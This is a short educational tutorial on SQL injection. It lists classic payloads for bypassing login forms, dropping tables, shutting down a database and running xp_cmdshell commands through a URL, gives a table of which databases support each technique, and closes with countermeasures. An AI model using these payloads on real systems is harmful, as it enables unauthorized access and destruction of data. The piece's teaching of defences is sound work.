(for educational purpose only)
Most modern
web applications rely on dynamic content to achieve the appeal of traditional
desktop windowing programs. This dynamism is typically achieved by retrieving
updated data from a database. One of the more popular platforms for web
datastores is SQL, and many web applications are based entirely on front-end
scripts that simply query a SQL database, either on the web server itself or a
separate back-end system. One of the most insidious attacks on a web
application involves hijacking the queries used by the front-end scripts themselves
to attain control of the application or its data. One of the most efficient mechanisms
for achieving this is a technique called SQL injection.
SQL
injection refers to inputting raw Transact SQL queries into an application to
perform an unexpected action. Often, existing queries are simply edited to
achieve the same results—Transact SQL is easily manipulated by the placement of
even a single character in a judiciously chosen spot, causing the entire query
to behave in quite malicious ways. Some of the characters commonly used for
such input validation attacks include the backtick (`), the double dash(--) and
the semicolon (;), all of which have special meaning in Transact SQL.
What sorts
of things can crafty hacker do with a usurped SQL query? Well, for starters,
they could potentially access unauthorized data. With even sneakier techniques,
they can bypass authentication or even gain complete control over the web
server or back-end SQL system.
Example of SQL Injections
To see
whether the application is vulnerable to SQL injections, type any of the
following in the form fields.
Bypassing Authentication
To
authenticate without any credentials:
Username: ‘OR”=’
Password: ‘OR”=’
To
authenticate with just the username:
Username:
admin’--
To
authenticate as the first user in the “users” table:
Username: ‘
or 1=1--
To
authenticate as a fictional user:
Username: ‘union
select 1,’users’,’passwd’1--
Causing Destruction
To drop a
dbase table:
Username: ‘;drop
table users--
To shut down
the dbase remotely:
Username:
aaaaaaaaaaaaaaa’
Password: ‘;shutdown--
Executing Function Calls and Stored
Procedures
Executing
xp_cmdshell to get a directory listing:
http://localhost/script?0’;EXEC+master..xp_cmdshell+’dir’;--
Executing
xp_servicecontrol to manipulate services:
http://localhost/script?0’;EXEC+master..xp_servicecontrol+’start’,’server’;--
Not all the
syntax shown here works on every proprietary dbase implementation. The
following information indicates whether some of the techniques outlined above
will work on certain dbase platforms:
Database-Specific Information:
|
MySQL
|
Oracle
|
DB2
|
Postgre
|
MS SQL
|
UNION possible
|
Y
|
Y
|
Y
|
Y
|
Y
|
Subselects possible
|
N
|
Y
|
Y
|
Y
|
Y
|
Multiple statements
|
N(mostly)
|
N
|
N
|
Y
|
Y
|
Default stored procedures
|
-
|
Many(utf_file)
|
-
|
-
|
Many(xp_cmdshell)
|
Other comments
|
Supports “INTO OUTFILE”
|
-
|
-
|
-
|
-
|
SQL Injection Countermeasures:
Here is an
extensive but not complete list of methods used to prevent SQL injection:
·
Perform
string input validation on any input from the client. Follow the common programming
mantra of “constrain, reject and sanitize” – that is, constrain your input
where possible (for example, only allow numeric formats for a ZIP code field),
reject input that doesn’t fit the pattern, and sanitize where constraint is not
practical. When sanitizing, consider validating data type, length, range and
format correctness. See the Regular Expression Library at
http://www.regexlib.com for a great sample
of regular expressions for validating inputs.
·
Replace
direct SQL statements with stored procedures, prepared statements, or ADO
command objects. If you can’t use stored procs, use parameterized queries.
·
Implement
default error handling. This would include using a general error message
for all errors.
·
Lock down
ODBC. Disable messaging to clients. Don’t
let regular SQL statements through. This ensures that no client, not just the
web application, can execute arbitrary SQL.
·
Lock down
the dbase server configuration. Specify users, roles and permissions. Implement
triggers at the RDBMS layer. This way, even if someone can get to the dbase and
get arbitrary SQL statements to run, they won’t be able to do anything they’re
not supposed to.